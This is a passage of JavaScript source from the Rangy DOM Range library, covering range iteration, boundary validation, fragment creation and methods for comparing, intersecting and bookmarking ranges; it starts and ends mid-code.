createIterator,\n            DomPosition: DomPosition\n        };\n\n        api.DOMException = DOMException;\n    });\n\n    /*----------------------------------------------------------------------------------------------------------------*/\n\n    // Pure JavaScript implementation of DOM Range\n    api.createCoreModule(\"DomRange\", [\"DomUtil\"], function(api, module) {\n        var dom = api.dom;\n        var util = api.util;\n        var DomPosition = dom.DomPosition;\n        var DOMException = api.DOMException;\n\n        var isCharacterDataNode = dom.isCharacterDataNode;\n        var getNodeIndex = dom.getNodeIndex;\n        var isOrIsAncestorOf = dom.isOrIsAncestorOf;\n        var getDocument = dom.getDocument;\n        var comparePoints = dom.comparePoints;\n        var splitDataNode = dom.splitDataNode;\n        var getClosestAncestorIn = dom.getClosestAncestorIn;\n        var getNodeLength = dom.getNodeLength;\n        var arrayContains = dom.arrayContains;\n        var getRootContainer = dom.getRootContainer;\n        var crashyTextNodes = api.features.crashyTextNodes;\n\n        /*----------------------------------------------------------------------------------------------------------------*/\n\n        // Utility functions\n\n        function isNonTextPartiallySelected(node, range) {\n            return (node.nodeType != 3) &&\n                   (isOrIsAncestorOf(node, range.startContainer) || isOrIsAncestorOf(node, range.endContainer));\n        }\n\n        function getRangeDocument(range) {\n            return range.document || getDocument(range.startContainer);\n        }\n\n        function getBoundaryBeforeNode(node) {\n            return new DomPosition(node.parentNode, getNodeIndex(node));\n        }\n\n        function getBoundaryAfterNode(node) {\n            return new DomPosition(node.parentNode, getNodeIndex(node) + 1);\n        }\n\n        function insertNodeAtPosition(node, n, o) {\n            var firstNodeInserted = node.nodeType == 11 ? node.firstChild : node;\n            if (isCharacterDataNode(n)) {\n                if (o == n.length) {\n                    dom.insertAfter(node, n);\n                } else {\n                    n.parentNode.insertBefore(node, o == 0 ? n : splitDataNode(n, o));\n                }\n            } else if (o >= n.childNodes.length) {\n                n.appendChild(node);\n            } else {\n                n.insertBefore(node, n.childNodes[o]);\n            }\n            return firstNodeInserted;\n        }\n\n        function rangesIntersect(rangeA, rangeB, touchingIsIntersecting) {\n            assertRangeValid(rangeA);\n            assertRangeValid(rangeB);\n\n            if (getRangeDocument(rangeB) != getRangeDocument(rangeA)) {\n                throw new DOMException(\"WRONG_DOCUMENT_ERR\");\n            }\n\n            var startComparison = comparePoints(rangeA.startContainer, rangeA.startOffset, rangeB.endContainer, rangeB.endOffset),\n                endComparison = comparePoints(rangeA.endContainer, rangeA.endOffset, rangeB.startContainer, rangeB.startOffset);\n\n            return touchingIsIntersecting ? startComparison <= 0 && endComparison >= 0 : startComparison < 0 && endComparison > 0;\n        }\n\n        function cloneSubtree(iterator) {\n            var partiallySelected;\n            for (var node, frag = getRangeDocument(iterator.range).createDocumentFragment(), subIterator; node = iterator.next(); ) {\n                partiallySelected = iterator.isPartiallySelectedSubtree();\n                node = node.cloneNode(!partiallySelected);\n                if (partiallySelected) {\n                    subIterator = iterator.getSubtreeIterator();\n                    node.appendChild(cloneSubtree(subIterator));\n                    subIterator.detach();\n                }\n\n                if (node.nodeType == 10) { // DocumentType\n                    throw new DOMException(\"HIERARCHY_REQUEST_ERR\");\n                }\n                frag.appendChild(node);\n            }\n            return frag;\n        }\n\n        function iterateSubtree(rangeIterator, func, iteratorState) {\n            var it, n;\n            iteratorState = iteratorState || { stop: false };\n            for (var node, subRangeIterator; node = rangeIterator.next(); ) {\n                if (rangeIterator.isPartiallySelectedSubtree()) {\n                    if (func(node) === false) {\n                        iteratorState.stop = true;\n                        return;\n                    } else {\n                        // The node is partially selected by the Range, so we can use a new RangeIterator on the portion of\n                        // the node selected by the Range.\n                        subRangeIterator = rangeIterator.getSubtreeIterator();\n                        iterateSubtree(subRangeIterator, func, iteratorState);\n                        subRangeIterator.detach();\n                        if (iteratorState.stop) {\n                            return;\n                        }\n                    }\n                } else {\n                    // The whole node is selected, so we can use efficient DOM iteration to iterate over the node and its\n                    // descendants\n                    it = dom.createIterator(node);\n                    while ( (n = it.next()) ) {\n                        if (func(n) === false) {\n                            iteratorState.stop = true;\n                            return;\n                        }\n                    }\n                }\n            }\n        }\n\n        function deleteSubtree(iterator) {\n            var subIterator;\n            while (iterator.next()) {\n                if (iterator.isPartiallySelectedSubtree()) {\n                    subIterator = iterator.getSubtreeIterator();\n                    deleteSubtree(subIterator);\n                    subIterator.detach();\n                } else {\n                    iterator.remove();\n                }\n            }\n        }\n\n        function extractSubtree(iterator) {\n            for (var node, frag = getRangeDocument(iterator.range).createDocumentFragment(), subIterator; node = iterator.next(); ) {\n\n                if (iterator.isPartiallySelectedSubtree()) {\n                    node = node.cloneNode(false);\n                    subIterator = iterator.getSubtreeIterator();\n                    node.appendChild(extractSubtree(subIterator));\n                    subIterator.detach();\n                } else {\n                    iterator.remove();\n                }\n                if (node.nodeType == 10) { // DocumentType\n                    throw new DOMException(\"HIERARCHY_REQUEST_ERR\");\n                }\n                frag.appendChild(node);\n            }\n            return frag;\n        }\n\n        function getNodesInRange(range, nodeTypes, filter) {\n            var filterNodeTypes = !!(nodeTypes && nodeTypes.length), regex;\n            var filterExists = !!filter;\n            if (filterNodeTypes) {\n                regex = new RegExp(\"^(\" + nodeTypes.join(\"|\") + \")$\");\n            }\n\n            var nodes = [];\n            iterateSubtree(new RangeIterator(range, false), function(node) {\n                if (filterNodeTypes && !regex.test(node.nodeType)) {\n                    return;\n                }\n                if (filterExists && !filter(node)) {\n                    return;\n                }\n                // Don't include a boundary container if it is a character data node and the range does not contain any\n                // of its character data. See issue 190.\n                var sc = range.startContainer;\n                if (node == sc && isCharacterDataNode(sc) && range.startOffset == sc.length) {\n                    return;\n                }\n\n                var ec = range.endContainer;\n                if (node == ec && isCharacterDataNode(ec) && range.endOffset == 0) {\n                    return;\n                }\n\n                nodes.push(node);\n            });\n            return nodes;\n        }\n\n        function inspect(range) {\n            var name = (typeof range.getName == \"undefined\") ? \"Range\" : range.getName();\n            return \"[\" + name + \"(\" + dom.inspectNode(range.startContainer) + \":\" + range.startOffset + \", \" +\n                    dom.inspectNode(range.endContainer) + \":\" + range.endOffset + \")]\";\n        }\n\n        /*----------------------------------------------------------------------------------------------------------------*/\n\n        // RangeIterator code partially borrows from IERange by Tim Ryan (http://github.com/timcameronryan/IERange)\n\n        function RangeIterator(range, clonePartiallySelectedTextNodes) {\n            this.range = range;\n            this.clonePartiallySelectedTextNodes = clonePartiallySelectedTextNodes;\n\n\n            if (!range.collapsed) {\n                this.sc = range.startContainer;\n                this.so = range.startOffset;\n                this.ec = range.endContainer;\n                this.eo = range.endOffset;\n                var root = range.commonAncestorContainer;\n\n                if (this.sc === this.ec && isCharacterDataNode(this.sc)) {\n                    this.isSingleCharacterDataNode = true;\n                    this._first = this._last = this._next = this.sc;\n                } else {\n                    this._first = this._next = (this.sc === root && !isCharacterDataNode(this.sc)) ?\n                        this.sc.childNodes[this.so] : getClosestAncestorIn(this.sc, root, true);\n                    this._last = (this.ec === root && !isCharacterDataNode(this.ec)) ?\n                        this.ec.childNodes[this.eo - 1] : getClosestAncestorIn(this.ec, root, true);\n                }\n            }\n        }\n\n        RangeIterator.prototype = {\n            _current: null,\n            _next: null,\n            _first: null,\n            _last: null,\n            isSingleCharacterDataNode: false,\n\n            reset: function() {\n                this._current = null;\n                this._next = this._first;\n            },\n\n            hasNext: function() {\n                return !!this._next;\n            },\n\n            next: function() {\n                // Move to next node\n                var current = this._current = this._next;\n                if (current) {\n                    this._next = (current !== this._last) ? current.nextSibling : null;\n\n                    // Check for partially selected text nodes\n                    if (isCharacterDataNode(current) && this.clonePartiallySelectedTextNodes) {\n                        if (current === this.ec) {\n                            (current = current.cloneNode(true)).deleteData(this.eo, current.length - this.eo);\n                        }\n                        if (this._current === this.sc) {\n                            (current = current.cloneNode(true)).deleteData(0, this.so);\n                        }\n                    }\n                }\n\n                return current;\n            },\n\n            remove: function() {\n                var current = this._current, start, end;\n\n                if (isCharacterDataNode(current) && (current === this.sc || current === this.ec)) {\n                    start = (current === this.sc) ? this.so : 0;\n                    end = (current === this.ec) ? this.eo : current.length;\n                    if (start != end) {\n                        current.deleteData(start, end - start);\n                    }\n                } else {\n                    if (current.parentNode) {\n                        current.parentNode.removeChild(current);\n                    } else {\n                    }\n                }\n            },\n\n            // Checks if the current node is partially selected\n            isPartiallySelectedSubtree: function() {\n                var current = this._current;\n                return isNonTextPartiallySelected(current, this.range);\n            },\n\n            getSubtreeIterator: function() {\n                var subRange;\n                if (this.isSingleCharacterDataNode) {\n                    subRange = this.range.cloneRange();\n                    subRange.collapse(false);\n                } else {\n                    subRange = new Range(getRangeDocument(this.range));\n                    var current = this._current;\n                    var startContainer = current, startOffset = 0, endContainer = current, endOffset = getNodeLength(current);\n\n                    if (isOrIsAncestorOf(current, this.sc)) {\n                        startContainer = this.sc;\n                        startOffset = this.so;\n                    }\n                    if (isOrIsAncestorOf(current, this.ec)) {\n                        endContainer = this.ec;\n                        endOffset = this.eo;\n                    }\n\n                    updateBoundaries(subRange, startContainer, startOffset, endContainer, endOffset);\n                }\n                return new RangeIterator(subRange, this.clonePartiallySelectedTextNodes);\n            },\n\n            detach: function() {\n                this.range = this._current = this._next = this._first = this._last = this.sc = this.so = this.ec = this.eo = null;\n            }\n        };\n\n        /*----------------------------------------------------------------------------------------------------------------*/\n\n        var beforeAfterNodeTypes = [1, 3, 4, 5, 7, 8, 10];\n        var rootContainerNodeTypes = [2, 9, 11];\n        var readonlyNodeTypes = [5, 6, 10, 12];\n        var insertableNodeTypes = [1, 3, 4, 5, 7, 8, 10, 11];\n        var surroundNodeTypes = [1, 3, 4, 5, 7, 8];\n\n        function createAncestorFinder(nodeTypes) {\n            return function(node, selfIsAncestor) {\n                var t, n = selfIsAncestor ? node : node.parentNode;\n                while (n) {\n                    t = n.nodeType;\n                    if (arrayContains(nodeTypes, t)) {\n                        return n;\n                    }\n                    n = n.parentNode;\n                }\n                return null;\n            };\n        }\n\n        var getDocumentOrFragmentContainer = createAncestorFinder( [9, 11] );\n        var getReadonlyAncestor = createAncestorFinder(readonlyNodeTypes);\n        var getDocTypeNotationEntityAncestor = createAncestorFinder( [6, 10, 12] );\n\n        function assertNoDocTypeNotationEntityAncestor(node, allowSelf) {\n            if (getDocTypeNotationEntityAncestor(node, allowSelf)) {\n                throw new DOMException(\"INVALID_NODE_TYPE_ERR\");\n            }\n        }\n\n        function assertValidNodeType(node, invalidTypes) {\n            if (!arrayContains(invalidTypes, node.nodeType)) {\n                throw new DOMException(\"INVALID_NODE_TYPE_ERR\");\n            }\n        }\n\n        function assertValidOffset(node, offset) {\n            if (offset < 0 || offset > (isCharacterDataNode(node) ? node.length : node.childNodes.length)) {\n                throw new DOMException(\"INDEX_SIZE_ERR\");\n            }\n        }\n\n        function assertSameDocumentOrFragment(node1, node2) {\n            if (getDocumentOrFragmentContainer(node1, true) !== getDocumentOrFragmentContainer(node2, true)) {\n                throw new DOMException(\"WRONG_DOCUMENT_ERR\");\n            }\n        }\n\n        function assertNodeNotReadOnly(node) {\n            if (getReadonlyAncestor(node, true)) {\n                throw new DOMException(\"NO_MODIFICATION_ALLOWED_ERR\");\n            }\n        }\n\n        function assertNode(node, codeName) {\n            if (!node) {\n                throw new DOMException(codeName);\n            }\n        }\n\n        function isOrphan(node) {\n            return (crashyTextNodes && dom.isBrokenNode(node)) ||\n                !arrayContains(rootContainerNodeTypes, node.nodeType) && !getDocumentOrFragmentContainer(node, true);\n        }\n\n        function isValidOffset(node, offset) {\n            return offset <= (isCharacterDataNode(node) ? node.length : node.childNodes.length);\n        }\n\n        function isRangeValid(range) {\n            return (!!range.startContainer && !!range.endContainer &&\n                    !isOrphan(range.startContainer) &&\n                    !isOrphan(range.endContainer) &&\n                    isValidOffset(range.startContainer, range.startOffset) &&\n                    isValidOffset(range.endContainer, range.endOffset));\n        }\n\n        function assertRangeValid(range) {\n            if (!isRangeValid(range)) {\n                throw new Error(\"Range error: Range is no longer valid after DOM mutation (\" + range.inspect() + \")\");\n            }\n        }\n\n        /*----------------------------------------------------------------------------------------------------------------*/\n\n        // Test the browser's innerHTML support to decide how to implement createContextualFragment\n        var styleEl = document.createElement(\"style\");\n        var htmlParsingConforms = false;\n        try {\n            styleEl.innerHTML = \"<b>x</b>\";\n            htmlParsingConforms = (styleEl.firstChild.nodeType == 3); // Opera incorrectly creates an element node\n        } catch (e) {\n            // IE 6 and 7 throw\n        }\n\n        api.features.htmlParsingConforms = htmlParsingConforms;\n\n        var createContextualFragment = htmlParsingConforms ?\n\n            // Implementation as per HTML parsing spec, trusting in the browser's implementation of innerHTML. See\n            // discussion and base code for this implementation at issue 67.\n            // Spec: http://html5.org/specs/dom-parsing.html#extensions-to-the-range-interface\n            // Thanks to Aleks Williams.\n            function(fragmentStr) {\n                // \"Let node the context object's start's node.\"\n                var node = this.startContainer;\n                var doc = getDocument(node);\n\n                // \"If the context object's start's node is null, raise an INVALID_STATE_ERR\n                // exception and abort these steps.\"\n                if (!node) {\n                    throw new DOMException(\"INVALID_STATE_ERR\");\n                }\n\n                // \"Let element be as follows, depending on node's interface:\"\n                // Document, Document Fragment: null\n                var el = null;\n\n                // \"Element: node\"\n                if (node.nodeType == 1) {\n                    el = node;\n\n                // \"Text, Comment: node's parentElement\"\n                } else if (isCharacterDataNode(node)) {\n                    el = dom.parentElement(node);\n                }\n\n                // \"If either element is null or element's ownerDocument is an HTML document\n                // and element's local name is \"html\" and element's namespace is the HTML\n                // namespace\"\n                if (el === null || (\n                    el.nodeName == \"HTML\" &&\n                    dom.isHtmlNamespace(getDocument(el).documentElement) &&\n                    dom.isHtmlNamespace(el)\n                )) {\n\n                // \"let element be a new Element with \"body\" as its local name and the HTML\n                // namespace as its namespace.\"\"\n                    el = doc.createElement(\"body\");\n                } else {\n                    el = el.cloneNode(false);\n                }\n\n                // \"If the node's document is an HTML document: Invoke the HTML fragment parsing algorithm.\"\n                // \"If the node's document is an XML document: Invoke the XML fragment parsing algorithm.\"\n                // \"In either case, the algorithm must be invoked with fragment as the input\n                // and element as the context element.\"\n                el.innerHTML = fragmentStr;\n\n                // \"If this raises an exception, then abort these steps. Otherwise, let new\n                // children be the nodes returned.\"\n\n                // \"Let fragment be a new DocumentFragment.\"\n                // \"Append all new children to fragment.\"\n                // \"Return fragment.\"\n                return dom.fragmentFromNodeChildren(el);\n            } :\n\n            // In this case, innerHTML cannot be trusted, so fall back to a simpler, non-conformant implementation that\n            // previous versions of Rangy used (with the exception of using a body element rather than a div)\n            function(fragmentStr) {\n                var doc = getRangeDocument(this);\n                var el = doc.createElement(\"body\");\n                el.innerHTML = fragmentStr;\n\n                return dom.fragmentFromNodeChildren(el);\n            };\n\n        function splitRangeBoundaries(range, positionsToPreserve) {\n            assertRangeValid(range);\n\n            var sc = range.startContainer, so = range.startOffset, ec = range.endContainer, eo = range.endOffset;\n            var startEndSame = (sc === ec);\n\n            if (isCharacterDataNode(ec) && eo > 0 && eo < ec.length) {\n                splitDataNode(ec, eo, positionsToPreserve);\n            }\n\n            if (isCharacterDataNode(sc) && so > 0 && so < sc.length) {\n                sc = splitDataNode(sc, so, positionsToPreserve);\n                if (startEndSame) {\n                    eo -= so;\n                    ec = sc;\n                } else if (ec == sc.parentNode && eo >= getNodeIndex(sc)) {\n                    eo++;\n                }\n                so = 0;\n            }\n            range.setStartAndEnd(sc, so, ec, eo);\n        }\n        \n        function rangeToHtml(range) {\n            assertRangeValid(range);\n            var container = range.commonAncestorContainer.parentNode.cloneNode(false);\n            container.appendChild( range.cloneContents() );\n            return container.innerHTML;\n        }\n\n        /*----------------------------------------------------------------------------------------------------------------*/\n\n        var rangeProperties = [\"startContainer\", \"startOffset\", \"endContainer\", \"endOffset\", \"collapsed\",\n            \"commonAncestorContainer\"];\n\n        var s2s = 0, s2e = 1, e2e = 2, e2s = 3;\n        var n_b = 0, n_a = 1, n_b_a = 2, n_i = 3;\n\n        util.extend(api.rangePrototype, {\n            compareBoundaryPoints: function(how, range) {\n                assertRangeValid(this);\n                assertSameDocumentOrFragment(this.startContainer, range.startContainer);\n\n                var nodeA, offsetA, nodeB, offsetB;\n                var prefixA = (how == e2s || how == s2s) ? \"start\" : \"end\";\n                var prefixB = (how == s2e || how == s2s) ? \"start\" : \"end\";\n                nodeA = this[prefixA + \"Container\"];\n                offsetA = this[prefixA + \"Offset\"];\n                nodeB = range[prefixB + \"Container\"];\n                offsetB = range[prefixB + \"Offset\"];\n                return comparePoints(nodeA, offsetA, nodeB, offsetB);\n            },\n\n            insertNode: function(node) {\n                assertRangeValid(this);\n                assertValidNodeType(node, insertableNodeTypes);\n                assertNodeNotReadOnly(this.startContainer);\n\n                if (isOrIsAncestorOf(node, this.startContainer)) {\n                    throw new DOMException(\"HIERARCHY_REQUEST_ERR\");\n                }\n\n                // No check for whether the container of the start of the Range is of a type that does not allow\n                // children of the type of node: the browser's DOM implementation should do this for us when we attempt\n                // to add the node\n\n                var firstNodeInserted = insertNodeAtPosition(node, this.startContainer, this.startOffset);\n                this.setStartBefore(firstNodeInserted);\n            },\n\n            cloneContents: function() {\n                assertRangeValid(this);\n\n                var clone, frag;\n                if (this.collapsed) {\n                    return getRangeDocument(this).createDocumentFragment();\n                } else {\n                    if (this.startContainer === this.endContainer && isCharacterDataNode(this.startContainer)) {\n                        clone = this.startContainer.cloneNode(true);\n                        clone.data = clone.data.slice(this.startOffset, this.endOffset);\n                        frag = getRangeDocument(this).createDocumentFragment();\n                        frag.appendChild(clone);\n                        return frag;\n                    } else {\n                        var iterator = new RangeIterator(this, true);\n                        clone = cloneSubtree(iterator);\n                        iterator.detach();\n                    }\n                    return clone;\n                }\n            },\n\n            canSurroundContents: function() {\n                assertRangeValid(this);\n                assertNodeNotReadOnly(this.startContainer);\n                assertNodeNotReadOnly(this.endContainer);\n\n                // Check if the contents can be surrounded. Specifically, this means whether the range partially selects\n                // no non-text nodes.\n                var iterator = new RangeIterator(this, true);\n                var boundariesInvalid = (iterator._first && (isNonTextPartiallySelected(iterator._first, this)) ||\n                        (iterator._last && isNonTextPartiallySelected(iterator._last, this)));\n                iterator.detach();\n                return !boundariesInvalid;\n            },\n\n            surroundContents: function(node) {\n                assertValidNodeType(node, surroundNodeTypes);\n\n                if (!this.canSurroundContents()) {\n                    throw new DOMException(\"INVALID_STATE_ERR\");\n                }\n\n                // Extract the contents\n                var content = this.extractContents();\n\n                // Clear the children of the node\n                if (node.hasChildNodes()) {\n                    while (node.lastChild) {\n                        node.removeChild(node.lastChild);\n                    }\n                }\n\n                // Insert the new node and add the extracted contents\n                insertNodeAtPosition(node, this.startContainer, this.startOffset);\n                node.appendChild(content);\n\n                this.selectNode(node);\n            },\n\n            cloneRange: function() {\n                assertRangeValid(this);\n                var range = new Range(getRangeDocument(this));\n                var i = rangeProperties.length, prop;\n                while (i--) {\n                    prop = rangeProperties[i];\n                    range[prop] = this[prop];\n                }\n                return range;\n            },\n\n            toString: function() {\n                assertRangeValid(this);\n                var sc = this.startContainer;\n                if (sc === this.endContainer && isCharacterDataNode(sc)) {\n                    return (sc.nodeType == 3 || sc.nodeType == 4) ? sc.data.slice(this.startOffset, this.endOffset) : \"\";\n                } else {\n                    var textParts = [], iterator = new RangeIterator(this, true);\n                    iterateSubtree(iterator, function(node) {\n                        // Accept only text or CDATA nodes, not comments\n                        if (node.nodeType == 3 || node.nodeType == 4) {\n                            textParts.push(node.data);\n                        }\n                    });\n                    iterator.detach();\n                    return textParts.join(\"\");\n                }\n            },\n\n            // The methods below are all non-standard. The following batch were introduced by Mozilla but have since\n            // been removed from Mozilla.\n\n            compareNode: function(node) {\n                assertRangeValid(this);\n\n                var parent = node.parentNode;\n                var nodeIndex = getNodeIndex(node);\n\n                if (!parent) {\n                    throw new DOMException(\"NOT_FOUND_ERR\");\n                }\n\n                var startComparison = this.comparePoint(parent, nodeIndex),\n                    endComparison = this.comparePoint(parent, nodeIndex + 1);\n\n                if (startComparison < 0) { // Node starts before\n                    return (endComparison > 0) ? n_b_a : n_b;\n                } else {\n                    return (endComparison > 0) ? n_a : n_i;\n                }\n            },\n\n            comparePoint: function(node, offset) {\n                assertRangeValid(this);\n                assertNode(node, \"HIERARCHY_REQUEST_ERR\");\n                assertSameDocumentOrFragment(node, this.startContainer);\n\n                if (comparePoints(node, offset, this.startContainer, this.startOffset) < 0) {\n                    return -1;\n                } else if (comparePoints(node, offset, this.endContainer, this.endOffset) > 0) {\n                    return 1;\n                }\n                return 0;\n            },\n\n            createContextualFragment: createContextualFragment,\n\n            toHtml: function() {\n                return rangeToHtml(this);\n            },\n\n            // touchingIsIntersecting determines whether this method considers a node that borders a range intersects\n            // with it (as in WebKit) or not (as in Gecko pre-1.9, and the default)\n            intersectsNode: function(node, touchingIsIntersecting) {\n                assertRangeValid(this);\n                assertNode(node, \"NOT_FOUND_ERR\");\n                if (getDocument(node) !== getRangeDocument(this)) {\n                    return false;\n                }\n\n                var parent = node.parentNode, offset = getNodeIndex(node);\n                assertNode(parent, \"NOT_FOUND_ERR\");\n\n                var startComparison = comparePoints(parent, offset, this.endContainer, this.endOffset),\n                    endComparison = comparePoints(parent, offset + 1, this.startContainer, this.startOffset);\n\n                return touchingIsIntersecting ? startComparison <= 0 && endComparison >= 0 : startComparison < 0 && endComparison > 0;\n            },\n\n            isPointInRange: function(node, offset) {\n                assertRangeValid(this);\n                assertNode(node, \"HIERARCHY_REQUEST_ERR\");\n                assertSameDocumentOrFragment(node, this.startContainer);\n\n                return (comparePoints(node, offset, this.startContainer, this.startOffset) >= 0) &&\n                       (comparePoints(node, offset, this.endContainer, this.endOffset) <= 0);\n            },\n\n            // The methods below are non-standard and invented by me.\n\n            // Sharing a boundary start-to-end or end-to-start does not count as intersection.\n            intersectsRange: function(range) {\n                return rangesIntersect(this, range, false);\n            },\n\n            // Sharing a boundary start-to-end or end-to-start does count as intersection.\n            intersectsOrTouchesRange: function(range) {\n                return rangesIntersect(this, range, true);\n            },\n\n            intersection: function(range) {\n                if (this.intersectsRange(range)) {\n                    var startComparison = comparePoints(this.startContainer, this.startOffset, range.startContainer, range.startOffset),\n                        endComparison = comparePoints(this.endContainer, this.endOffset, range.endContainer, range.endOffset);\n\n                    var intersectionRange = this.cloneRange();\n                    if (startComparison == -1) {\n                        intersectionRange.setStart(range.startContainer, range.startOffset);\n                    }\n                    if (endComparison == 1) {\n                        intersectionRange.setEnd(range.endContainer, range.endOffset);\n                    }\n                    return intersectionRange;\n                }\n                return null;\n            },\n\n            union: function(range) {\n                if (this.intersectsOrTouchesRange(range)) {\n                    var unionRange = this.cloneRange();\n                    if (comparePoints(range.startContainer, range.startOffset, this.startContainer, this.startOffset) == -1) {\n                        unionRange.setStart(range.startContainer, range.startOffset);\n                    }\n                    if (comparePoints(range.endContainer, range.endOffset, this.endContainer, this.endOffset) == 1) {\n                        unionRange.setEnd(range.endContainer, range.endOffset);\n                    }\n                    return unionRange;\n                } else {\n                    throw new DOMException(\"Ranges do not intersect\");\n                }\n            },\n\n            containsNode: function(node, allowPartial) {\n                if (allowPartial) {\n                    return this.intersectsNode(node, false);\n                } else {\n                    return this.compareNode(node) == n_i;\n                }\n            },\n\n            containsNodeContents: function(node) {\n                return this.comparePoint(node, 0) >= 0 && this.comparePoint(node, getNodeLength(node)) <= 0;\n            },\n\n            containsRange: function(range) {\n                var intersection = this.intersection(range);\n                return intersection !== null && range.equals(intersection);\n            },\n\n            containsNodeText: function(node) {\n                var nodeRange = this.cloneRange();\n                nodeRange.selectNode(node);\n                var textNodes = nodeRange.getNodes([3]);\n                if (textNodes.length > 0) {\n                    nodeRange.setStart(textNodes[0], 0);\n                    var lastTextNode = textNodes.pop();\n                    nodeRange.setEnd(lastTextNode, lastTextNode.length);\n                    return this.containsRange(nodeRange);\n                } else {\n                    return this.containsNodeContents(node);\n                }\n            },\n\n            getNodes: function(nodeTypes, filter) {\n                assertRangeValid(this);\n                return getNodesInRange(this, nodeTypes, filter);\n            },\n\n            getDocument: function() {\n                return getRangeDocument(this);\n            },\n\n            collapseBefore: function(node) {\n                this.setEndBefore(node);\n                this.collapse(false);\n            },\n\n            collapseAfter: function(node) {\n                this.setStartAfter(node);\n                this.collapse(true);\n            },\n            \n            getBookmark: function(containerNode) {\n                var doc = getRangeDocument(this);\n                var preSelectionRange = api.createRange(doc);\n                containerNode = containerNode || dom.getBody(doc);\n                preSelectionRange.selectNodeContents(containerNode);\n                var range = this.intersection(preSelectionRange);\n                var start = 0, end = 0;\n                if (range) {\n                    preSelectionRange.setEnd(range.startContainer, range.startOffset);\n                    start = preSelectionRange.toString().length;\n                    end = start + range.toString().length;\n                }\n\n                return {\n                    start: start,\n                    end: end,\n                    containerNode: containerNode\n                };\n            },\n            \n            moveToBookmark: function(bookmark) {\n                var containerNode = bookmark.containerNode;\n                var charIndex = 0;\n                this.setStart(containerNode, 0);\n                this.collapse(true);\n                var nodeStack = [containerNode], node, foundStart = false, stop = false;\n                var nextCharIndex, i, childNodes;\n\n                while (!stop && (node = nodeStack.pop())) {\n                    if (node.nodeType == 3) {\n                        nextCharIndex = charIndex + node.length;\n                        if (!foundStart && bookmark.start >= charIndex && bookmark.start <= nextCharIndex) {\n                            this.setStart(node, bookmark.start - charIndex);\n                            foundStart = true;\n                        }\n                        if (foundStart && bookmark.end >= charIndex && bookmark.end <= nextCharIndex) {\n                            this.setEnd(node, bookmark.end - charIndex);\n                            stop = true;\n                        }\n                        charIndex = nextCharIndex;\n                    } else {\n                        childNodes = node.childNodes;\n                        i = childNodes.length;\n                        while (i--) {\n                            nodeStack.push(childNodes[i]);\n                        }\n                    }\n                }\n            },\n\n            getName: function() {\n                return \"DomRange\";\n            },\n\n            equals: function(range) {\n                return Range.rangesEqual(this, range);\n            },\n\n            isValid: function() {\n                return isRangeValid(this);\n            },\n            \n            inspect: function() {\n                return inspect(this);\n            },\n            \n            detach: function() {\n                // In DOM4, detach() is now a no-op.\n            }\n        });\n\n        function copyComparisonConstantsToObject(obj) {\n            obj.START_TO_START = s2s;\n            obj.START_TO_END = s2e;\n            obj.END_TO_END = e2e;\n            obj.END_TO_START = e2s;\n\n            obj.NODE_BEFORE = n_b;\n            obj.NODE_AFTER = n_a;\n            obj.NODE_BEFORE_AND_AFTER = n_b_a;\n            obj.NODE_INSIDE = n_i;\n        }\n\n        function copyComparisonConstants(constructor) {\n            copyComparisonConstantsToObject(constructor);\n            copyComparisonConstantsToObject(constructor.prototype);\n        }\n\n        function createRangeContentRemover(remover, boundaryUpdater) {\n            return function() {\n                assertRangeValid(this);\n\n                var sc = this.startContainer, so = this.startOffset, root = this.commonAncestorContainer;\n\n                var iterator = new RangeIterator(this, true);\n\n                // Work out where to position the range after content removal\n                var node, boundary;\n                if (sc !== root) {\n                    node = getClosestAncestorIn(sc, root, true);\n                    boundary = getBoundaryAfterNode(node);\n                    sc = boundary.node;\n                    so = boundary.offset;\n                }\n\n                // Check none of the range is read-only\n                iterateSubtree(iterator, assertNodeNotReadOnly);\n\n                iterator.reset();\n\n                // Remove the content\n                var returnValue = remover(iterator);\n                iterator.detach();\n\n                // Move to the new position\n                boundaryUpdater(this, sc, so, sc, so);\n\n                return returnValue;\n            };\n        }\n\n        function createPrototypeRange(constructor, boundaryUpdater) {\n            function createBeforeAfterNodeSetter(isBefore, isStart) {\n                return function(node) {\n                    assertValidNodeType(node, beforeAfterNodeTypes);\n                    assertValidNodeType(getRootContainer(node), rootContainerNodeTypes);\n\n                    var boundary = (isBefore ? getBoundaryBeforeNode : getBoundaryAfterNode)(node);\n                    (isStart ? setRangeStart : setRangeEnd)(this, boundary.node, boundary.offset);\n                };\n            }\n\n            function setRangeStart(range, node, offset) {\n                var ec = range.endContainer, eo = range.endOffset;\n                if (node !== range.startContainer || offset !== range.startOffset) {\n                    // Check the root containers of the range and the new boundary, and also check whether the new boundary\n                    // is after the current end. In either case, collapse the range to the new position\n                    if (getRootContainer(node) != getRootContainer(ec) || comparePoints(node, offset, ec, eo) == 1) {\n                        ec = node;\n                        eo = offset;\n                    }\n                    boundaryUpdater(range, node, offset, ec, eo);\n                }\n            }\n\n            function setRangeEnd(range, node, offset) {\n                var sc = range.startContainer, so = range.startOffset;\n                if (node !== range.endContainer || offset !== range.endOffset) {\n                    // Check the root containers of the range and the new boundary, and also check whether the new boundary\n                    // is after the current end. In either case, collapse the range to the new position\n                    if (getRootContainer(node) != getRootContainer(sc) || comparePoints(node, offset, sc, so) == -1) {\n                        sc = node;\n                        so = offset;\n                    }\n                    boundaryUpdater(range, sc, so, node, offset);\n                }\n            }\n\n            // Set up inheritance\n            var F = function() {};\n            F.prototype = api.rangePrototype;\n            constructor.prototype = new F();\n\n            util.extend(constructor.prototype, {\n                setStart: function(node, offset) {\n                    assertNoDocTypeNotationEntityAncestor(node, true);\n                    assertValidOffset(node, offset);\n\n                    setRangeStart(this, node, offset);\n                },\n\n                setEnd: function(node, offset) {\n                    assertNoDocTypeNotationEntityAncestor(node, true);\n                    assertValidOffset(node, offset);\n\n                    setRangeEnd(this, node, offset);\n                },\n\n                /**\n                 * Convenience method to set a range's start and end boundaries. Overloaded as follows:\n                 * - Two parameters (node, offset) creates a collapsed range at that position\n                 * - Three parameters (node, startOffset, endOffset) creates a range contained with node starting at\n                 *   startOffset and ending at endOffset\n                 * - Four parameters (startNode, startOffset, endNode, endOffset) creates a range starting at startOffset in\n                 *   startNode and ending at endOffset in endNode\n                 */\n                setStartAndEnd: function() {\n                    var args = arguments;\n                    var sc = args[0], so = args[1], ec = sc, eo = so;\n\n                    switch (args.length) {\n                        case 3:\n                            eo = args[2];\n                            break;\n                        case 4:\n                            ec = args[2];\n                            eo = args[3];\n                            break;\n                    }\n\n                    boundaryUpdater(this, sc, so, ec, eo);\n                },\n                \n                setBoundary: function(node, offset, isStart) {\n                    this[\"set\" + (isStart ? \"Start\" : \"End\")](node, 